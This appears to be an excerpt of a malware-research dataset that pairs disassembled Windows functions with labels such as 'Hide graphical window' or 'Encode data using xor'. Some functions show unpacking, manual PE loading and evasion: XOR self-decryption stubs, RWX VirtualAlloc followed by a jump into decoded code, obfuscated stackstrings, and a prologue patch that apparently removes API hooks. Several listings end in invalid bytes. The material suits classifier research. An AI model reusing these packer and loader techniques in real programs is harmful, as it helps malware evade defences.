joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4023c0
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [esp + 0xc]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [eax + 0x1c]
push edi
push 0xffffffffffffffeb
push esi
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov edi, dword [edi + 0x10c]
sub edi, 0
je 0x4023f7
sub edi, 1
je 0x4023f0
mov eax, 0x3ff
jmp 0x4023fc
mov eax, 0x3fe
jmp 0x4023fc
mov eax, 0x400
push eax
push 0x400
push 0x3fe
push esi
call dword [sym.imp.USER32.dll_CheckRadioButton]
mov edi, dword [sym.imp.USER32.dll_GetParent]
push 0
push str.Cancel
push str.Button
push 0
push esi
call edi
mov ebx, dword [sym.imp.USER32.dll_FindWindowExA]
push eax
call ebx
mov ebp, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call ebp
push 0
push str.__Back
push str.Button
push 0
push esi
call edi
push eax
call ebx
push eax
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x405a90
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x404
mov eax, dword [0x42f5ac]
xor eax, esp
mov dword [esp + 0x400], eax
push esi
mov esi, dword [esp + 0x40c]
push 0xffffffffffffffeb
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
cmp dword [esp + 0x418], 0x300
jne 0x405b87
mov eax, dword [esp + 0x410]
mov byte [esp + 4], 0
cmp eax, 0x3f0
je 0x405ae4
cmp eax, 0x3ee
jne 0x405b87
push ebx
push edi
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
push 0x200
lea eax, [esp + 0x10]
push eax
push 0x3f0
push esi
call edi
mov ebx, dword [sym.imp.USER32.dll_GetWindowTextA]
push eax
call ebx
push 0x200
lea ecx, [esp + 0x210]
push ecx
push 0x3ee
push esi
call edi
push eax
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [esp + 0xc]
push edx
call ebx
test eax, eax
je 0x405b6d
lea eax, [esp + 0x20c]
push eax
call ebx
test eax, eax
je 0x405b6d
push 3
push 0
push 0x470
push esi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
pop edi
pop ebx
pop esi
mov ecx, dword [esp + 0x400]
xor ecx, esp
call fcn.004107c5
add esp, 0x404
ret
push 0
push 0x3024
push esi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
pop edi
pop ebx
mov ecx, dword [esp + 0x404]
pop esi
xor ecx, esp
call fcn.004107c5
add esp, 0x404
ret

Function at 0x405ba0
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [esp + 0xc]
mov eax, dword [eax + 0x1c]
push ebx
push ebp
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [esp + 0x14]
push eax
push 0xffffffffffffffeb
push edi
call dword [sym.imp.USER32.dll_SetWindowLongA]
cmp dword [esi + 0x38], 0x10
jb 0x405bc7
mov eax, dword [esi + 0x24]
jmp 0x405bca
lea eax, [esi + 0x24]
mov ebx, dword [sym.imp.USER32.dll_GetDlgItem]
push eax
push 0x3f0
push edi
call ebx
mov ebp, dword [sym.imp.USER32.dll_SetWindowTextA]
push eax
call ebp
cmp dword [esi + 0x70], 0x10
jb 0x405bed
mov eax, dword [esi + 0x5c]
jmp 0x405bf0
lea eax, [esi + 0x5c]
push eax
push 0x3f2
push edi
call ebx
push eax
call ebp
cmp dword [esi + 0x1c], 0x10
jb 0x405c07
mov esi, dword [esi + 8]
jmp 0x405c0a
add esi, 8
push esi
push 0x3ee
push edi
call ebx
push eax
call ebp
push 0
push str.Cancel
push str.Button
push 0
push edi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_FindWindowExA]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x40c0f0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x1c0
mov eax, dword [0x42f5ac]
xor eax, esp
mov dword [esp + 0x1bc], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1d0]
push edi
mov edi, dword [esp + 0x1dc]
push 0xffffffffffffffeb
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov ebx, eax
mov eax, dword [edi + 8]
mov ebp, dword [ebx + 4]
cmp eax, 0xffffff38
je 0x40c1d0
cmp eax, 0xfffffffd
jne 0x40c2d5
cmp dword [edi + 4], 0x3fb
jne 0x40c2d5
mov eax, dword [edi]
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0
push 0x1042
push eax
call ebx
push 0x3c
lea ecx, [esp + 0x14]
push 0
push ecx
mov ebp, eax
call fcn.00410e90
mov eax, dword [edi]
add esp, 0xc
lea edx, [esp + 0x10]
push edx
push 0
push 0x1005
push eax
mov dword [esp + 0x24], ebp
mov dword [esp + 0x20], 4
call ebx
test eax, eax
je 0x40c2d5
mov eax, dword [esp + 0x30]
test eax, eax
je 0x40c2d5
cmp dword [eax + 0x68], 0
je 0x40c2d5
cmp dword [eax + 0x6c], 0x10
jb 0x40c1b5
mov eax, dword [eax + 0x58]
jmp 0x40c1b8
add eax, 0x58
push 1
push 0
push 0
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x40c2d5
mov edx, dword [0x4308e0]
push 0x80
lea ecx, [esp + 0x150]
push ecx
push 0x78
push edx
call dword [sym.imp.USER32.dll_LoadStringA]
cmp dword [ebp + 0x8c], 0x10
jb 0x40c1fa
mov eax, dword [ebp + 0x78]
jmp 0x40c1fd
lea eax, [ebp + 0x78]
push eax
lea eax, [esp + 0x150]
push eax
lea ecx, [esp + 0x54]
push ecx
call fcn.00410748
mov edi, dword [sym.imp.USER32.dll_GetParent]
add esp, 0xc
push 0
push esi
push 0x481
push esi
call edi
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push eax
call ebp
lea edx, [esp + 0x4c]
push edx
push eax
push 0x47f
push esi
call edi
push eax
call ebp
push 3
push 0
push 0x470
push esi
call edi
mov ebp, dword [sym.imp.USER32.dll_PostMessageA]
push eax
call ebp
cmp dword [ebx + 0x74], 0
jne 0x40c268
cmp dword [ebx + 0x58], 0
jne 0x40c268
cmp dword [ebx + 0x90], 0
je 0x40c274
push 0
push 0
push 0x7e8
push esi
call ebp
mov ecx, dword [0x4308e0]
push 0x100
lea eax, [esp + 0x50]
push eax
push 0x7e
push ecx
call dword [sym.imp.USER32.dll_LoadStringA]
lea edx, [esp + 0x4c]
push edx
push 2
push esi
call edi
mov ebx, dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call ebx
mov ebp, dword [sym.imp.USER32.dll_SetWindowTextA]
push eax
call ebp
mov ecx, dword [0x4308e0]
push 0x100
lea eax, [esp + 0x50]
push eax
push 0x7f
push ecx
call dword [sym.imp.USER32.dll_LoadStringA]
lea edx, [esp + 0x4c]
push edx
push 0x3024
push esi
call edi
push eax
call ebx
push eax
call ebp
mov ecx, dword [esp + 0x1cc]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004107c5
add esp, 0x1c0
ret
Function at 0x40cb90
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40cc09
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
test edi, edi
jbe 0x40cc01
lea ecx, [edi + 1]
push ecx
call fcn.0040fa8a
mov esi, eax
add esp, 4
test esi, esi
je 0x40cc01
push 0
lea edx, [esp + 0x10]
push edx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40cbf6
cmp dword [esp + 0xc], edi
je 0x40cc01
push esi
call fcn.00410df3
add esp, 4
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
ret

Function at 0x40cc10
Capabilities:
Get file size

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
xor ebp, ebp
push edi
test eax, eax
je 0x40cc2d
mov ebx, dword [esp + 0x14]
test ebx, ebx
je 0x40cc2d
mov edi, dword [esp + 0x18]
test edi, edi
jne 0x40cc36
pop edi
pop ebp
mov eax, 4
pop ebx
ret
push esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
mov dword [edi], ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40cc61
lea eax, [esi + 2]
pop esi
pop edi
pop ebp
pop ebx
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [edi], eax
mov dword [ebx], esi
pop esi
pop edi
mov eax, ebp
pop ebp
pop ebx
ret

Function at 0x40cd70
Capabilities:
Read file on windows

Disassembly:
push ecx
mov edx, dword [esp + 0xc]
push ebx
xor ebx, ebx
push esi
push edi
mov dword [esp + 0xc], ebx
cmp edx, ebx
je 0x40cda0
mov ecx, dword [esp + 0x14]
cmp ecx, ebx
je 0x40cda0
mov edi, dword [esp + 0x1c]
cmp edi, ebx
je 0x40cda0
mov eax, dword [edi]
cmp eax, ebx
jle 0x40cda0
mov esi, dword [esp + 0x20]
cmp esi, ebx
jne 0x40cdaa
pop edi
pop esi
mov eax, 4
pop ebx
pop ecx
ret
push ebp
push ebx
lea ebp, [esp + 0x14]
push ebp
push eax
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop ebp
test eax, eax
jne 0x40cdc9
pop edi
pop esi
mov eax, 1
pop ebx
pop ecx
ret
mov eax, dword [esp + 0xc]
mov dword [edi], eax
test eax, eax
mov dword [esi], ebx
mov eax, ebx
jne 0x40cddd
mov dword [esi], 1
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x40cf80
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x404
mov eax, dword [0x42f5ac]
xor eax, esp
mov dword [esp + 0x400], eax
movsx ecx, word [esp + 0x408]
xor eax, eax
cmp dword [0x42f478], ecx
jl 0x40cfd9
mov eax, dword [esp + 0x40c]
push esi
lea edx, [esp + 0x414]
push edx
push eax
lea ecx, [esp + 0xc]
push 0x400
push ecx
call fcn.00412480
add esp, 0x10
lea edx, [esp + 4]
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, esi
pop esi
mov ecx, dword [esp + 0x400]
xor ecx, esp
call fcn.004107c5
add esp, 0x404
ret
Function at 0x4107c5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f5ac]
jne 0x4107cf
repz ret
jmp fcn.00416fa7

Function at 0x421814
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00417127
and dword [ebp - 4], 0
cmp dword [0x431640], 0
mov ebx, eax
jne 0x4218c5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x421976
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x429d94
push edi
call esi
test eax, eax
je 0x421976
push eax
call fcn.004170b5
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x431640], eax
call esi
push eax
call fcn.004170b5
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x431644], eax
call esi
push eax
call fcn.004170b5
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x431648], eax
call esi
push eax
call fcn.004170b5
pop ecx
mov dword [0x431650], eax
test eax, eax
je 0x4218c5
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004170b5
pop ecx
mov dword [0x43164c], eax
mov eax, dword [0x43164c]
cmp eax, ebx
je 0x42191d
cmp dword [0x431650], ebx
je 0x42191d
push eax
call fcn.00417130
push dword [0x431650]
mov esi, eax
call fcn.00417130
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42191d
test edi, edi
je 0x42191d
call esi
test eax, eax
je 0x421914
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x421914
test byte [ebp - 0xc], 1
jne 0x42191d
or dword [ebp + 0x10], 0x200000
jmp 0x421956
mov eax, dword [0x431644]
cmp eax, ebx
je 0x421956
push eax
call fcn.00417130
pop ecx
test eax, eax
je 0x421956
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x421956
mov eax, dword [0x431648]
cmp eax, ebx
je 0x421956
push eax
call fcn.00417130
pop ecx
test eax, eax
je 0x421956
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x431640]
call fcn.00417130
pop ecx
test eax, eax
je 0x421976
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x421978
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000cc3e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1002d770
call fcn.10016ea3
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1000ccbb
push 2
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x1000ccbb
call fcn.10005a09
mov esi, eax
jmp 0x1000cd92
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x1000ccde
call fcn.10005a09
jmp 0x1000cd85
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x1000ccd4
push ebx
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x1000cd0e
mov esi, 0x8007000e
jmp 0x1000cd87
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1000d68b
jmp 0x1000cd34
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x1000cd07
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x1000ccd4
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.1000d68b
mov esi, eax
test edi, edi
je 0x1000cd92
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1000cdab
lea ecx, [ebp - 0x418]
call fcn.1000c3cf
mov eax, esi
call fcn.10016df0
ret 0x10

Function at 0x1000d68b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1000d69a
pop dword [ebp - 0x28]
mov eax, 0xe8541ec2
add eax, 0x27acb7d8
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x42029
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x16348d0a
sub ecx, 0x16343dd4
mov edx, eax
mov ebx, 0x88625592
sub ebx, 0x785d9992
add ebx, dword [ebp - 0x28]
mov esi, 0x14820918
mov edi, dword [ebx]
xor dword [ebp - 0xc], 0x9f8b8d4f
add edi, esi
xor dword [ebp - 0x10], ecx
mov dword [edx], edi
sub dword [ebp - 0xc], 0xf2e48d16
add edx, 0x18eff821
sub edx, 0x18eff81d
add ebx, 0x5e171c13
add ebx, 0xa1e8e3f1
loop 0x1000d6ee
add eax, 0x3cd94c55
sub eax, 0x3cd81caa
mov ebx, eax
add eax, 0x48f62027
add eax, 0xb709dfde
mov ecx, 0x10000000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401c66
pop dword [ebp - 0x38]
mov eax, 0x4891092c
sub eax, 0x4850ecc6
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x3be70aee
add dword [ebp - 0x48], 0x126b3a5d
mov dword [ebp - 0x44], 0x65db5aef
sub dword [ebp - 0x44], 0x33a80eaa
mov dword [ebp - 0x40], 0x6db08742
sub dword [ebp - 0x40], 0x21644314
mov dword [ebp - 0x3c], 0xae20f3bf
sub dword [ebp - 0x3c], 0xae20f3bf
lea eax, [ebp - 0x48]
push eax
mov eax, 0xfd29cdf8
sub eax, 0xfce99da4
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x8ae6d8c8
sub dword [ebp - 0x48], 0x16746f72
mov dword [ebp - 0x44], 0x7e8386c9
add dword [ebp - 0x44], 0xc2e8daac
mov dword [ebp - 0x40], 0x59a80fba
add dword [ebp - 0x40], 0x9c75cb2
mov dword [ebp - 0x3c], 0x9959908b
sub dword [ebp - 0x3c], 0x9959908b
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x8c59444b
add eax, 0x73e6ebe1
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3aa16
push 0
call eax
mov ecx, 0x5899
mov ebx, eax
mov edi, 0x10a484f1
add edi, 0xef9beb0f
add edi, dword [ebp - 0x38]
mov edx, 0x82747ba8
add dword [ebp - 0x34], edi
mov esi, dword [edi]
mov dword [ebp - 0xc], 0x60dbf5e4
xor esi, edx
add dword [ebp - 8], 0x727f1ed4
mov dword [ebx], esi
mov dword [ebp - 0xc], 0x91eecf9d
add ebx, 4
add edi, 0xd184d497
sub edi, 0xd184d493
loop 0x401d7c
add eax, 0x869b0aa6
add eax, 0x79664a91
mov ebx, eax
add eax, 0x41101837
add eax, 0xbeefe7ce
mov ecx, 0x3675eaf6
add ecx, 0xc9ca150a
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x404900
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc eax
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0040459c
push eax
push esi
push dword [ebp + 8]
call fcn.00404551
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0040459c
push eax
push esi
push dword [ebp + 8]
call fcn.00404551
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0040459c
push eax
push esi
push dword [ebp + 8]
call fcn.00404551
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0040458c
inc eax
push 0x31
add eax, 0xff7c9d88
invalid
Function at 0x404c10
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x404c40
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x404c3b
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x404c25
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x404c2d
cmp edx, ebx
jne 0x404d7b
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x404bfc
add eax, dword [eax + 4]
jmp 0x404be9
mov dword [ebp + 0xc], ebx
jmp 0x404c4b
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x404c63
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x404c81
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x404cdf
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x404cc6
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x404ccf
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x404cd9
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x404cbb
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x404c45
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x404d2c
dec eax
je 0x404d23
sub eax, 3
je 0x404d1a
mov dword [ebp - 4], 0x40
jmp 0x404d49
mov dword [ebp - 4], 4
jmp 0x404d2f
mov dword [ebp - 4], 0x20
jmp 0x404d2f
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x404d7b
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x404cfb
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0040458c
lodsd eax, dword [esi]
mov esi, 0x75ffb866
adc al, 0x6a
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x404d87
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405290
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax - 0x6b65b], al
inc dword [eax]
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.0040459c
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00404551
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x6bc], eax
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x698], eax
call fcn.0040458c
stc
mov ah, 0x2a
loope 0x4053c2
push dword [ebp - 0x698]
lea eax, [ebp - 0x6c0]
push eax
push dword [ebp + 8]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00404768
add esp, 0x14
call fcn.0040458c
adc dword [eax - 0x3a], ebp
pop es
push dword [ebp - 0x698]
push 1
push dword [ebp - 0x674]
call dword [ebp - 0x39c]
mov eax, dword [ebp - 0x33c]
mov esp, dword [ebp + 0x1c]
mov dword [esp - 4], eax
popal
add esp, 0x14
jmp dword [esp - 0x38]
mov ch, 0x68
stc
invalid